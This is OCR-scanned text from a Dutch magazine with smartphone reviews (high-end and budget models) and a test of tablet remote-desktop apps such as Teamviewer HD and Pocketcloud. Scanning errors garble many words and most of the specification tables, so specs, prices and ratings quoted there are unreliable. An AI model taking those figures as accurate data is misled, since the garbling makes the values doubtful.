gere topmodellen het dankzij hun sneliere 
processors, meer geheugen en betere dis¬ 
plays beter. Ze worden alleen overtroefd 
door smartphones als de iPhone 4 en de 
Samsung Galaxy S I! met hun uitstekende 
beeldscherm en topultrusting. Ook de 
softwareversie is geen argument tegen de 
oudere smartphones. Bij Symbian en Win¬ 
dows Phone zullen ook de meeste oudere 
modellen nog minstens een updatecyclus 
meegaan, en bij Android weet |e sowieso 
niet of toekomstige updates ook voor alle 
modellen beschikbaar zuijen zijn. Hoe te- 
genstrijdig het ook klinkt, de beste voor- 
uitzrchten heb je bij het oudste model in 
de test: de Google Nexus S, Die zal nog wel 
een tijdje meegaan als referentiemode! 
voor Googles mobiele platform, zodat je 
praktisch verzekerd bent van updates. Ook 
qua uitrusting en performance behoort de 
Nexus S nog steeds tot de beste apparaten 
op de markt. 

De LG Optimus Speed is de snelste te- 
lefoon uit de test. Ook wat multimedia 
betreft, wint deze duidelijk van de rest 
dankzij het uitstekende display en de HD- 
Mt-ultgang. De Nokia X7 heeft wel krachti- 
gere kleuren en een betere camera, maar 
voor een multi mediatoestel ook een te lage 
displayresolutie en performance. De Sony 
Ericsson Xperia ray heeft de beste te I efo on- 
camera. Dat toestei is een goede aIIrounder 
dankzij een lange accuduur, een elegant 
design en een goed display. 

De solide Nokia E6 is het meest geschikte 
toestei voor veelschrljvers - als je je tenmin- 
ste niet laat afschrikken door de complexi- 
teit en het uiterlijk van het Symbian-bestu- 
ringssysteem. Op de mechanische toetsen 
van de HTC ChaCha en de Sony Ericsson 
mini pro kun je behoorlijk snel typen. De 
laatste wint de strijd tussen de ‘Androids 
met knoppen' op grond van zijn compacte, 
chique design en de betere hardware. 

De mini pro is met een straatprijs van 
220 euro bovendien ook beter betaalbaar. 
Alleen de Samsung Galaxy Ace en de HTC 
Wildfire S zijn even goedkoop. Zij hebben 
een groter scherm, maar zijn wat hardware 
bet reft van duidelijk mindere kwaliteit In 
dit geval staat bij wijze van uitzondering 
middenklasse gelijk aan middelmatigheid. 

(jsc) 

SoMnkimm dt 



Google 

Xperia mini pro 

Xperia ray 

Samsung. 

Sony Erkivm, 

Sony Ericsson, 

wwwiamsung,nf 

www.sonyerjcsson.nl 

www.5onyericsson.nl 

13,5 OTi X 6,4 cm X 1,5 an, 14Q g 

9,2 cm X 5,4 cm x 1,3 on, 137 g 

11,1 cmxS,3 cmx1 cm, 99g 

Andmid2J.4 

Android 2.3.3/Xperia Ul 

Android 2.3.3/KperiaUI 

Cortex A3 HymmingbliKi /1 /1 

Qtiaicomm Snapdragon /1 /1 GHz 

Qualcomm Snapdragon /1 /1 GHz 

PowerVRSGX540 

Adreno 205 

AdrenoZOS 

512MB/14JGB 

512 MB 7320 MB 

512 MB/300 MB 


MkroSDHC/2G8/32G8 

MfcmSDHC/4 GB/32 GB 

LCD spiegelend / V cm x S,2 cm (4 inch) 

LCD spiegetend / 6,4 cm x 4,4 cm (3 inch) 

LCD spiegeiend / 7,4 cm x 4,6 cm [3,3 inch) 

300x430 (234 dpi} 

480x320 [192 dpi) 

854 x 480 {394 dpi) 

BOJ.nb/g/n/ri/v- 

802.11 b/g/n/2,0/s/ 

milh/g/n/3.0/v^ 




7,2 Wbit/s/5,7 Mbit/s 

7,2 Mbit/s/5,7 Mbil/s 

7,2 Mbit/s/1,8 Mbrt/s 


0,46W/I(g 

0,96 W/Kg 

NFC-cbip 

“ 

beeldstabilisator, lachdetectie 




2560x 1920 / 720 x 430 

2592x1944 / 640 x 480 

3264X 2438/1280X720 

/v/ / - 

s^/^/ - !v 

v^/v"/-/^ 

-!-U 

✓ /^ U 

v//-/y 

mxmimxm 

640 x 480 / 640 x 430 

640 x 480/640x480 

AAC,™.MP3,KCWAV 

AAC, MIDI, MP3, OGG, WAV 

AACMJD1,MP3,0G6,WAV 

Hi63,H,264,MPft4 

HJ63,Hi64MPEG4 

H.263,H.264,MPEG^4 

y/- 

^ /^ 



^ /^ 


54...420d/m.^ 

11...414£d/m' 

8.,,45Ud/in^ 

8,5 u/5,8 y 

7,6 u/6,2 u 

8.4 u/5,1 u 

9u/4,3y 

10,1 u/ 5,3 LJ 

11,6 u/5.2 u 

L4U/X7U 

1,7u/4,6li 

1,8 u/4,7 u 

©©/® 

@/o 

0/0 

©/© 

o/® 

©/© 



©0 

0/0 

©/o 

o/@© 

€ 283 [gsmwijzer.nlj 

€ 341 {salland.eu} 

€282(belsimpeLnl) 
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Test I Smartphones 


Instapmodellen rond 200 euro 


Ook In de prijsklasse van 100 tot 200 euro is 
er een mime keus aan instap-smartphones 
die op het gebied van hard- en software 
heel wat variatie bieden. We hebben in deze 
klasse drie representatieve toestellen getest. 
de Sony Ericsson Xperia mini draait op An¬ 
droid, het populaire smartphonesysteem 
dat de instapklasse vanaf 100 euro domi- 
neert. De andere twee telefoons, de Nokia 
500 en de Samsung Wave 578, werken op 
een alternatief OS dat door de fabrikant zelf 
is ontwikkeld, respectsevelijk Symbian en 
Bada. 

De systemen hebben allemaal hun eigen 
voor- en nadelen. Over Android en Symbian 
heb je al meer kunnen lezen in het kader op 
p.46. Bada, waarop de Samsung Wave 578 
draait, zul je snel door hebben - ook als je er 
nooit eerder mee hebt gewerkt De menu- 
structuur is overzichtelijker dan bij Android 
en er zijn ook minder instellingsmogelijkhe- 
den. De prijs die je voor deze eenvoud be- 
taalt is een kleinere app-store en veei minder 
krachtlge apps Bovendien updatet Samsung 
het besturingssysteem maar zelden - er be- 
staan tot nu toe maar vier versies. Nokia werkt 
Symbian nog regelmatig bij, maar diens Ovi 
Store biedt vergeleken met Androids Market 
veel minder apps. 

De Nokia 500 doet op het eerste gezicht 
elegant en chic aan. Door de twee meege- 
leverde verwisselbare covers in mat biauw 
en rood kun je het apparaat een ander tintje 
geven dan de zwartglanzende smartphone- 
een he ids worst. Als je het apparaat in de 
hand hebt, wordt die hoogwaardige indruk 
echter niet bevestigd. De plastic covers voe- 


len goedkoop aan en bij wilde bewegingen 
hoor je hoe het trilalarm op en neer gaat De 
voorkant van het touchscreen is erg gevoelig 
en te zacht De knoppen zitten wel allemaal 
netjes in de behufzing en de onderdelen aan 
de buitenkant zijn allemaal vrij vlak, zodat ze 
niet uitsteken. 

Het display heeft 640 x 360 pixels bij een dpi 
van 23 b waarmee de Nokia met afstand de 
beste resoiutie heeft van de drie telefoons - 
vooral tekst in de browser profiteert hiervan. 
De processor is met zijn 1 gigahertz buiten- 
gewoon snel voor deze prijsklasse. Deson- 
danks werkt Symbian niet zo vbeiend als 
Android op smartphones met vergelijkbare 
hardware* Het scrollen door websites gaat 
niet erg vloeiend* De camera maakt relatief 
goede foto's* 

De komende tijd moet de 500 geupdatet 
worden naar de nieuwste Symbian-versie 
'Belle'. 0ns testtoestel kon die versie echter 
nog niet downloaden en liep dus nog op 
Symbian 3 'Anna'. 

Near Field Communication (NFC) werkt met 
radiochips die een zendbereik hebben van 
slechts enkele centimeters, Deze zitten tot 
dusver alleen in enkele topmodellen ats de 
Samsung Nexus S, maar de Samsung Wave 
578 vormt een uitzondering op dat gebied 
en heeft als enige van de drie hier geteste te¬ 
lefoons ook NFC. Er zijn echter nog zo goed 
als geen applicaties die hier gebruik van 
maken* In de nabije toekomst moet het hier- 
mee bijvoorbeeld mogelijk worden om len¬ 
der content geld of pasjes af te kunnen reke- 
nen. Als deze techniek ook echt gebruikt gaat 



Nokia 500: high-res display, gratis naviga- Samsung Wave 578: NFC, langzame pro- 
tie, ondutdelijke Symbian-menustructuur cessor, klein flashgeheugen. 


worden, ben Je er als bezitter van een Wave 
578 in elk geval klaar voor. 

De processor is met 455 MHz niet erg snel* 
Desondanks is het voor de smartphone vol- 
doende om de eenvoudig gehouden inter¬ 
face van besturingssysteem Bada 1.1 groten- 
deels zonder haperingen weerte geven. Voor 
enkele apps is dat echter niet genoeg en de 
browser heeft af en toe problemen om com- 
plexe webpagina's vioeiend weer te geven* 

Het niveau van de overige hardware is verder 
prima, De camera heeft een korte ontspan- 
tijd en [evert prima snapshots op. De kleuren 
zijn lets minder en binnenshuis wat donker. 
De kleine resotutie van het display (400 x 
240) valt met name bij het surfen op. Letters 
komen wat vaag over* Het grootste manco is 
het kleine flashgeheugen van 92 MB* Zodra 
dit vol is, moet je apps op de MicroSD-kaart 
zetten, 

Samsung wil eind dit jaar een update naar 
Bada 2.0 voor de Wave 578 uitbrengen. 

Het formaat van de Sony Xperia mint is 
zowel een voor- als een nadeef. Enerzijds is de 
telefoon compact en past hij In elke broekzak, 
anderzijds is het scherm met een diagonaal 
van drie inch ook het kleinste (de Nokia en 
Samsung hebben een 3,2"-display]. Dit ver- 
schil van een halve centimeter merk je vooral 
bij het internetten, waarbij je veel meer aan 
het in- en ultzoomen bent Het feit dat de pic- 
togrammen van programma's en de gehele 
systeeminterface kleiner zijn dan op Android- 
tefefoons, wordt echter zeiden als negatief 
ervaren* Je krijgt het virtuele qwerty-toet- 



Sony Ericsson Xperia mini: klein maar 
goed display, compacte afmetingen. 
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senbord alleen te zien als je het toestel dwars 
(landscape) houdt. In portretstand krijg je 
een telefoontoetsenbord met negen toetsen, 
waarbij je kunt switchen tussen een numeriek 
en een alfabetisch toetsenbord. Ondanks de 
kleine weergave werken beide toetsenbor- 
den zeer goed en typ jezelden verkeerd. 

Afgezien van het formaat valt het display 
zonder meer positief op. Het toont als enige 
16 mlljoen kleuren (24 bit) en is helder ge- 
noeg om bij zonficht te kunnen lezen, Het 
enige wat af en toe irritant is, Is dat je de Ucht- 
sensor niet kunt uitzetten. Omdat de sensor 
te snel op veranderende lichtomstandighe-' 
den reageert, wordt de displayverlrchting 
vrijwel continu aangepast of gaat die zetfs 
flikkeren. 

De camera met autofocus is door de krach- 
tige kleuren en een goed contrast zeer goed. 
De foto's hebben alleen een lichte rood- 
zweem* 

Sony Ericsson breidt de Android-interface uit 
met enkele nuttige widgets als contactlijsten 
en een om het weer op te v rage a In de hoe- 
ken van het scherm kun je snelkoppeiingen 


naar apps plaatsem Ondanks de chique inter¬ 
face is het systeem steeds vioeiend te bedie- 
nen. Compiexe webpagina's worden door de 
1 GHz-processof net zo probleemloos weer- 
g eg even als 3D-games, Flash is echter teveel 
gevraagd. 

In de prijsklasse vanaf 100 euro zitten de ver- 
schlllen in kleine dingen* De Nokia en Sony 
Ericsson hebben beide een processor van 1 
GHz, maar Android lijkt daar meer rendement 
mee te halen dan Symbian. Bij de Samsung 
zfjn de camera en de ingebouwde opslag- 
capadteit van een duidelijk lager niveau. 

We vonden de Sony Ericsson Xperia mini 
ondanks het kleinere displayformaat nog de 
beste telefoon die we in deze prijsklasse heb¬ 
ben getest Als je per se een echt toetsenbord 
wilt, kun Je ovenwegen om nog zo'n 50 euro 
meer te betalen en te gaan voor de Xperia 
mini pm die een uitschuifbaar qwerty-toet- 
senbord heeft. 

Ga je toch voor de Samsung Wave 578 of de 
Nokia 500, dan moot je eerst met dat bestu- 
ringssysteem vertrouwd raken. Maar voor 
alle telefoons uit deze prijsklasse geldt dat 


dit vaak de eerste kennismaking met een 
smartphone zat zijn, en ieder mobiel bestu- 
ringssysteem kost wat inwerktijd. De Wave 
578 heeft een wat zwakke processor, maar 
Bada kan desondanks prima met die mindere 
rekenkracht uit de voeten. De Nokia 500 heeft 
krachtigere hardware en biedt met Symbian 
3 een so I id e software platform, a I wordt dat 
niet geheel vioeiend weergegeven. Je zult 
ook met de wat cryptische afkortingen van de 
toepassingen moeten leren leven. 

Als je het gebruik van een smartphone wilt 
beperken tot een aantai basistaken als bellen, 
sms-en en af en toe wat opzoeken op inter¬ 
net, zijn er een aantai instap-smartphones 
die daar in de prijsklasse tot 200 euro prima 
aan kunnen voldoen. Het grote voordeel van 
een Android-smartphone is dat er een groot 
aantai apps voor beschikbaar is, maar ook 
de andere systemen hebben Ingebouwde 
of na te installeren apps voor de meest voor- 
komende taken. Deze instapmodellen zijn 
voor telecom providers niet interessant om 
bij een abonnement aan te bieden, vandaar 
dat je met zo'n toestel en een sim-only-abon- 
nement van een paar euro per maand heel 
goedkoop uit kunt zijn. (mvdm) 


Goedkope smartpKones 


500 

Wave 570 

Xperia mini 

Fabrikant 

Nokia, www.nokia.Fil 

Samsung, www.samsung.nl 

Sony Ericsson, www.sonyericsson.nl 

Afmetingen (b x h x d), gewkbt 

11,1 cm X 5,4 cm X 1,4 cm, % g 

10,B cm X 6,1 cm X 1,3 cm, 100 q 

8,8 cm X 5,2 cm X 1,6 cm, lOO g 

Besturingssysteerr / internee 

SymbiartB Anna 

Badal.l/TouchWIzlO 

Android 2.3.3/Xperia 

Processarkemw / 

1/1 GHz 

1/455 MHz 

1/1 GHz 

RAM/flash 

Z56MB/S12MB 

256 MB/90 MB 

512MB/320MB 

Extern gebeugen / meegeleved / rraKimaal 

MicraSDHC/-/32GB 

MiaoS0HC/-/32GB 

MicroSDHC/-/32GB 

Displaytechr>iek/-fdrrraat 

LCD spiegelend / 7 cm x 4 cm [32 inch) 

LCD spiegelend 17 cm x 4,2 cm (3,2 Inch} 

LCD spiegelend / 6,4 cm x 4,3 cm (3 inch) 

Displayresolutie / kleurdiepta 

640x360(231 dpi)/16 bit 

400x240 045 dpi)/18 bit 

480x320 (192 dpi)/24 bit 

Wlan/Bluetooth/A-GPS 

302.11b/g/2.1/^ 

80111 b/g/tj/3.0/^ 

802.11 b/g/n/3.0/v^ 

Touchscreen / mullliouch ! medianisch tcfetseribord 


^/^/^ 

^/>x/- 

Downlink/Ljpliok^ 

14,4 MbIt/s/576 Mbit/s 

3,6Mblt/s/384kblt/& 

7,2 Mbit/s/384 kbit/s 

SAR-waarde’’ 

l,lSW/kg 

0,751 W/kg 

0,78W/l(g 

Bijzonderheden 

- 

NFC 

- 

Multimedia 

Catnera^es^^lutl* foto's / video's 

2592 X1044/640 X4a0 

2040x1536/320x240 

2592x1944/1230x720 

Autofocus/foto-led / flitser / zeElontspanner 


-/-/-/^ 


TouchfcKus i mechanische afdrukknop / geolagging 

-f-u 

-/^/_ 


ftesotutie frootcamera foto's / video's 

- 


- 

Audioformaten 

AAC,M4A, MIDI, MP3, OCG, WAV 

AAC, M4A, MIDI, MP3,WAV,WMA 

AAC, M4A, MIDI, MP3, OGG, WAV 

Videofdrmaten 

3GR0iv3CH.263,H.264,MPEG4 

3GRH.263,H.264,MPE{14 

3GRH.263,H.264,MPEG4 

Flash 

Flash Lite 

Flash Lite 


Usb-Zwlari'ieihering 


^/^ 


Metingen 

min.... max.klderheid 

2...376cd/m^ 

I0...251cd/m^ 


Acfuduur videoweergave bij max. helderheid 

g.0[,/4,6 uur 

8,5 uur/7,1 uur 

g.o./4,8 uur 

Actuduuc wlan-surfen / games {ncmafe helderheid) 

7,5 uur* / g.o, 

83uur/g.n. 

T.luuHnjuur* 

Beoordefing 

Bedferiing / sneflieid 

0/0 

©/O 

®/©® 

Display / uitnisting 

o/@ 

o/© 

©/© 

Accuduuf 

O 

© 

0 

Multimedia / camera 

0/0 

0/0 

o/@ 

Straatprijs 

€210(belsimpeLnl) 

€ 190 {guusverschuren.nl) 

€ 190 (wit model, phoneshop.nl) 

^ volgens de fabrlkant %rmale helderhekb 2(}0d/m^ game: Reckless Racing ^ bij rrraximale helderheid, aangezien lichtsensor niet Is uit te sciiakelen 
@® zeer goed @ goed Q voldoende © siecht 0© zeer jlecht ^ aanwdg - met aanwedg g,o. geen opgave 
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Test j Remote-access met een tablet 


Reiko Kaps 

Muis op afstand 

Gratis apps om met een iPad of Android-tablet 
een pc op afstand te bedienen 


Moderne tablets hebben een snelle internetverbinding via 3G of 
WLAN en een makkelijke touchbediening> Ze zijn dan ook prima 
geschikt om je thuiscomputer op afstand te bedienen of vrienden 
op afstand te helpen bij computerproblemen. 





A Is je vroeger een programnria als 
VNC (Virtual Network Computing) 
gebruikte op je mobiele telefoon 
of pda, bleef je de relatief grote Windows- 
desktop moeizaam over het kleine tele- 
foonschermpje been en weer schulven om 
bij het Windows-menu of het afsiuitkruisje 
van een venster te komen. Een werkbare 
manier om tekst in te voeren ontbrak 
meestaL 

Voor de moderne tablets als de iPad en 
Android-varianten is dat anders. Er zijn in- 
middels aardig wat apps om de desktop 
van Windows, Mac OS of Linux volledig 
op afstand te bedienen. Als je af en toe ie^ 
mand een handje wilt heipen of je eigen 
computer op afstand wilt beheren, kun je 
met de gratis apps prima uit de voeten. 

Er bestaan verschillende protocollen om 
content van een beeldscherm en de invoer 
van muis en toetsenbord op een andere 
computer te krijgen. Naast het populaire 
VNC (Virtual Network Computing) en het 
vooral onder Windows gebruikelijke RDP 
(Remote Desktop Protocol) zijn er nog di¬ 
verse proprietaire methoden. VNC en RDP 


werken zonder extra aanpassingen alleen 
in het lokale netwerk. Als je ze via internet 
wilt gebruiken, meet je in beide gevallen 
de routerinstellingen aanpassen of een 
VPN (Virtual Private Network) gebruiken. 
Bij een VPN wordt de verbinding boven- 
dlen versleutold. Apps met proprietaire 
protocollen zoals Teamviewer kunnen zon¬ 
der extra aanpassingen over netwerkgren* 
zen heen en werken dus ook via internet. 

Verschillende methoden 

De Windows-versfes Professional, Busi¬ 
ness en Ultimate hebben standaard al een 
RDP-service waarmee je de desktop via het 
netwerk kunt bedienen. Op een desktop- 
Windows is daarmee echter maar een ses- 
sie mogelijk. Een al draaiende sessie wordt 
door het besturingssysteem tijdens het re¬ 
mote beheer gedeactiveerd, pas achteraf 
kun je hem weer activeren. Daardoor zijn 
de geteste RDP-clients 2X van 2X Software, 
de gratis Remote Desktop van Hana Mobile 
en Pocketcioud van Wyse alleen geschikt 
om je computer op afstand te beheren en 
niet voor hulp op afstand 
waarbij je iemand 
die ach- 


ter het scherm zit via het netwerk virtueel 
bij de hand neemt 

VNC heeft deze beperking niet Beeld- 
schermcontent en invoer worden echter 
wel als ongecodeerde tekst verstuurd. Al¬ 
leen als je extra hulpmiddelen afs een SSH- 
tunnel (Secure Shell) gebruikt, worden de 
data effectief versleuteld. Onder Windows 
moet je bovendien een serverprogramma 
voor het protocol installeren. In Mac OS en 
een aantal Linux-distributles zit standaard 
al een VNC-server. Daar kun je op de tablet 
bijvoorbeeld met Mocha VNC en Pocket- 
cloud bij. 

Bij RDP en VNC kun je een pc niet via 
Internet benaderen zonder de instellingen 
van de router aan te passen. Dan moet je 
bijvoorbeeld een poort doorsturen naar de 
computer die beheerd moet worden (port 
forwarding) of je maakt via IPSec of PPTP 
een VPN (Virtual Private Network). 

In de App Store en de Android Market 
staan ook apps die deze problemen omzei- 
len. Zij maken gebruik van een Internetser- 
ver waarmee zowel de pc als de tablet-app 
verbonden worden en koppelen de twee 
kanten dan vta hun ID en wachtwoord aan 
elkaar. Bij deze methode moet je wel ver- 
trouwen hebben in de aanbieder van de 
app omdat hij de sessie in prindpe kan 
manipuleren of aflyisteren. 

Zandpad of snelweg 

In tegenstelling tot besturing 
op afstand via tekstinvoer zoals 
bij SSH, genereert het grafisch 
versturen van de desktop aan- 
zienlijk meer dataverkeer. Als je 
dus bijvoorbeeld met een mo¬ 
biele GPRS-verbinding werkt, 
raakt die al snel verstopt De 
bediening hapert en de beeld- 
opbouw stokt. Met snellere mo- 
brele verbindingen als UMTS ver- 
loopt de overdracht wel vfotter, maar 
vergeleken met een verbinding via WLAN 
hebben ze nog steeds een hoge latentle, 
waardoor bijvoorbeeld het verschuiven 
van vensters en het invoeren van tekst een 
probleem wordt. 
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Test 1 Remote-access met een tablet 



Programma’s voor remote access lossen 
zulke extreme omstandigheden op door 
de hoeveelheid data voor de beeldscherm- 
weergave te reduceren. Zo verlagen ze 
bijvoorbeeld het aantal kleuren of compri- 
meren de beeldschermconteot Bovendien 
wordt de achtergrond van de desktop ver- 
vangen door een enkele kleur en worden 
3D~effecten uitgeschakeld. Een aantal van 
de geteste programma's kiezen deze instel- 
Jingen afhankelijk van de gebruikte net- 
werkverbinding automatisch. 



Muisvingers 

Het klinkt aanlokkelljk om een grafische 
vensterinterface met je vingers te bedte- 
nen, maar bij de tablet-apps levert dat ook 
problemen op. Bij tabletapplicaties hoef Je 
geen vensters te verschuiven of te vergro^ 
ten, maar bij desktopbesturingssystemen h 
dat aan de orde van de dag en kan dat met 
de muis ook snel. Bovendien kun je veel 
functies in bijvoorbeeld de Windows Ver- 
kenner alleen via het snelmenu bereiken 
irechter muisknop) en gebruik je op de pc 
meestal het muiswie! om snel te scrollen. 

Aangezlen Je bij touchbedtening geen 
rechtermuisknop en ook geen scrollwrel 
hebt, moeten de apps die acties naboot- 
sen met vingerbeweglngen of menu's. 
Daar zijn heel verschillende concepten 
voor bedacht, maar het gaat niet bij alle 
programma's even makkelijk. 

Bij de Teamviewer-app bedien je bij¬ 
voorbeeld een zichtbaar muispijltje door 
Je vinger waar dan ook op het scherm te 
zetten en te verschuiven. Bij andere apps 
voIgt de muispositie |e vinger, maar die 
laten - geheel in tabletstiji - dan ook hele- 
maal geen muispijltje zien. Bij alle apps in 
deze test moet je een beetje oefenen om 
de smalle vensters te raken. Bij het bewe^ 
gen en schalen van vensters treedt nog 
een ander probleem op, want met je vin¬ 
ger op het scherm beweeg je immers al¬ 
leen de cursor. Daarnaast moet ook nog 
een ingedrukte muisknop gesimuleerd 
worden. Bij een aantal apps is de vingerbe- 
diening daarom uitgebreid met optlonele 
muismeny's. 


2X 

De gratis client-app van 2X heeft voor het 
bedienen op afstand zowel het Wtndows- 
eigen RDP als een proprietair protocol 
voor remote control (2X Connection) voor 
bijvoorbeeld toegang tot virtuele machi¬ 
nes. Je moet de verbindlngen handmatig 
opzetten met IP-adressen en toegangsge- 
gevens. in deze dialogen kun je bovendien 
de resolutie en kleurdiepte van het display, 
menuanimaties, achtergrond, caching en 
compressie insteilen. 

Voor de muisbediening heeft 2X een 
muismenu. Dat kun je oproepen via de 
knoppenbalk aan de onderkant van het 
scherm. Vensters kun je makkelijk verschui¬ 
ven door er een keer op te tappen en ze 
vervolgens vast te houden. Een rechter- 
muisklik simuleer je via een pictogram in 
het muismenu. Aan de bovenste rand van 
het virtuele toetsenbord van de app zitten 
de special e toetsen Alt, Ctrl, Esc en Win¬ 
dows en een textpad voor als je meer moet 
typen. 

CrazyRemote 

Voor CrazyRemote moet er op de op af¬ 
stand te bedienen computer een server- 
dienst draaien. De producent stelt die gratis 
beschikbaar voor Windows en Mac OS. Om 
men sen op afstand via internet te he! pen 
met CrazyRemote moet je wei de router- 
configuratie aanpassen. Van de serversoft- 
ware krijg je daar aanwijzingen voor. 

De app ondersteunt twee verschillende 
modi voor het doorsturen van het beeld- 


scherm: een om te werken (Work) en een 
verbluffend goed functionerende voor 
games en video's (Entertainment). Met de 
gratis lite-versie krijg je alleen de eerste 
drie dagen de volledige functionaliteit. 
Daarna moet je het zonder de Entertain¬ 
ment-modus stellen of de Pro-versie kopen 
voor 16 dollar. 

Op de bedienmgsbalk zitten naast in- 
stellingen voor de beeldschermoverdracht 
buttons voor drie muisknoppen en een 
waarmee je vensters direct kunt verschui¬ 
ven, De app legt voor games indien nodig 
pijltjestoetsen. spatiebalk. Enter- en Back- 
space-toetsen over het beeld heen. Boven¬ 
dien kun je de op afstand bediende compu¬ 
ter via het serverprogramma herstarten en 
uitschakelen. 

Mocha VNC Lite 

De Lite-versie van Mocha VNC bleek niet 
met alle VNC-servers samen te werken. In 
eerste instantie kregen we bijvoorbeeld 
een Ubuntu-desktop met Ingeschakelde 
remote control (Vino) wel te zien, maar 
veranderingen op de Linux-desktop dron- 
gen niet door in de weergave op onze ta¬ 
blet. Met andere VNC-servers zoals Xvnc, 
Tight- en UltraVNC werkte alles wel zoals 
verwacht. 

In de Lite-versie is de muis beperkt tot 
een cursor waarmee je alleen met de linker 
muisknop kunt kifkken. Ook bij het toet¬ 
senbord moet je het zonder speciale toet¬ 
sen doen. Alt, Ctrl en een volledige muis 
krijg Je alleen in de betaalde versie. Verge- 
leken met een volwaardige VNC-client ts 
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Met de Lite-versie van Mocha 
VNC kun je alleen de linker- 
mu isknop simuleren en geen 
vensters op de bediende com¬ 
puter verschuiven* 
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RDesktop van Hana Mobile 
is niet zo behuJpzaam bij het 
bedienen van mu is en toetsen- 
bord. 


het bijzonder lastig om hier Windows mee 
te bedienen. Je kunt een venster op de ach- 
tergrond bijvoorbeetd alleen naar voren 
halen via de Windows-taakbalk. 

Mocha VNC Lite slaat de verbindings- 
gegevens op in profielen. Daarin kun je 
wachtwoorden voor VNC, toegangsgege- 
vens voor Mac OS X en het MAC-adres van 
de te bedienen pc opslaan. Via het MAC- 
adres kun je met Mocha VNC computers 
in het lokale netwerk uit de slaapstand 
halen (Wake on LAN). Bovendien kun je 


voor steeds terugkomende taken bij het 
beheer op afstand eenvoudige macro's de- 
finieren. De app voegt tijdens een sessle 
aan de onderkant van het beeldscherm een 
menu balk toe. Die kun je ook verbergen. 
Via die balk kun je het virtuele toetsenbord 
tevoorschijn halen, direct op de Enter-toets 
drukken of de weergave van het beeld¬ 
scherm centreren en vastzetten. Achter een 
van de pictogrammen in het menu zitten 
de macro's, een screenshotfunctie en de 
afsiuitknop. 


Focketcloud 

De Pocketcloud-app van Wyse slaat in de 
Lite-versie alleen de gegevens voor een 
verbinding op, maar in ruil daarvoor wor- 
den zowel VNC als RDP ondersteund. In de 
betaalde Pro- en Premium-versie kun je 
met de app ook virtuele machines bena- 
deren met VMware View. Er zit een volledig 
virtueel toetsenbord bij, inclusief alle spe- 
ciaie toetsen. Bovendien kun Je er cijfer- en 
F-toetsen en pijltjestoetsen mee oproepen, 
en is er een scherm met de gebruikefijke 
toetscombinaties als Ctrl+C, Alt+Tab en 
Ctrl+F4. Voor langere tekstinvoer is er een 
textpad. 

Als alternatief voor de bedlening met 
gestures kun je via de bedleningsbalk een 
uitkiapbaar muismenu oproepen voor 
rechtsklikken en het scrollwiel. Als je iets 
langer op het middeipunt van het menu 
drukt, wordt de muiscursor geVnverteerd 
en kun je het onderiiggende venster mak- 
kelijk schalen en verplaatsen. Er staat een 
pictogram op de bedieningsbalk am snel 
rechts te klikken. Met andere pictogram- 
men kun je de desktop schalen naar de 
standaardwaarde, een screenshot maken 
of de verbinding beeindigen. 

Als je de Focketcloud Companion op Je 
Mac of pc installeert en je meldt je zowel 
daar als in de app aan met een Google- 
account, dan herkent de app automatisch 
welke computers RDP ofVNC aanbieden en 
maakt dan een verbinding. In de gratis ver- 
sie werkt de bediening via internet echter 
alleen met VNC-servers die verbindingen 
met de loopback-interface accepteren. Vol- 
gens de producent versleutelt Pocketcloud 
VNC-sessies met AES (128 bit). 

Remote Desktop 

Met de gratis Remote Desktop (iRemoteDesk- 
top Free) van Hana Mobile kun je via RDP 


IPu^-adres.. . . s 152 1 eg. i S. 



2X brerdt het standaard tablettoetsenbord uit met speciale toetsen en een apart menu 
voor de muis. 



CrazyRemotes biedt een uitgebreid toetsenbord met speciale toetsen. Bij de Android- 
versie zit een deel daarvan bij het numerieke deel 
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Test I Remote-access met een tablet 



MOHS 


PocketCloud helpt bij de bediening op 
afstand met een menu waarmee je het 
scrollwiel en de rechtermuisknop kunt 
gebrulken. 


alleen Windows-desktops via het netwerk 
bedienen. De zakelijke versies van Windows 
(XP Professionat Vista Business / Enterprise / 
Ultimate, Windows 7 Professional / Enterprise 
/ Ultimate) worden ondersteund. De app kan 
meerdere verbindingen parallel opbouwen 
en daartussen wisselen. De verbindmgsin^ 
stelllngen worden opgeslagen in proflelen, 
RDesktop stuLirt invoer via het eenvou- 
dige virtueletoetsenbord en via twee menu- 
opties voor Ctrl+Alt+Delete en de Windows- 
toets naar de te bedienen computer. De 
muis bedien je direct met je vinger. Het 
verschuiven en schalen van vensters vergt 
enige oefening, Je begint de actie door dub- 
be! te tappen en vervolgens vasthouden. 
Met nog een tap op de nieuwe positie ver- 
schuif je het venster daarheen. Een venster 
veraroten werkt veraeliikbaar. 


Teamviewer HD 

Teamviewer heeft behalve voor iOS ook 
een app voor Android, maar die is bedoeld 
voor Android-smartphones. Nadat Je bij de 
app voor de iPad {Teamviewer HD) een ID 
en een wachtwoord van vier cijfers hebt in- 
gevoerd, kun Je er computers met Linux of 
Windows en Macs mee bedienen waar de 
bijbehorende computerversie van Team- 
viewer op draait. Die is voor privegebruik 
gratis. In de app-versie kun je in een a parte 
sessie bovendien ook bestanden naar de 
iPad overzetten. Teamviewer gaat op in¬ 
ternet door alle netwerkgrenzen been, 
dus kun je er ook computers achter een 
NAT-router mee bedienen. Daarbij maakt 
de app geen gebruik van VNC of RDP, maar 
van een eigen protocol dat vofgens de pro- 
ducent beter omgaat met langzame ver¬ 
bindingen en schommellngen in de snel- 
heid. 

Je kunt de altijd zichtbare muiscursor 
sturen door je vinger op een willekeurjge 
plek op het scherm te zetten en te schui- 
ven. Rechtsklikken doe je via een picto- 
gram in de bedieningsbalk. Je kunt de 
desktopweergave via diezeffde balk of met 
een gesture zoomen. Het simuleren dat je 
aan een muiswiel draait doe je door met 
twee vingers over een venster te vegen, 
waardoor de vensterinhoud gaat scrollen. 
Bewegen op het grote desktopbeeld gaat 
wat contra-intuTtief: als je met je vinger 
naar de rechter beeldschermrand veegt, 
verschuift de desktopcontent naar links, 
Dat komt door de hierboven beschreven 
bediening van de muiscursor, maar went 
snel. 

Conclusie 

Als je af en toe bij vrienden of familie over 
de schouder mee wilt kiiken bii oroblemen. 



Met deTeamviewer-app kun je bestanden 
van de pc in een extra sessie ook naar je 
tablet kopieren. 

maar daar geen geld in wilt investeren, is 
Teamviewer HD de eerste keus. Die kun je 
snel instellen zonder gedoe met router- 
Instellingen, Teamviewer bouwt de versleu- 
teide verbindingen wel op via een eigen 
server. 

De apps 2X en Pocketcloud kun je ge- 
bruiken om Windows-computers op afstand 
te beberen via RDP. RDesktop vergt duide- 
lijk meer oefening om vensters te verschui¬ 
ven en te schalen, PocketCloud doet het 
goed als je Linux-computers of Macs met de 
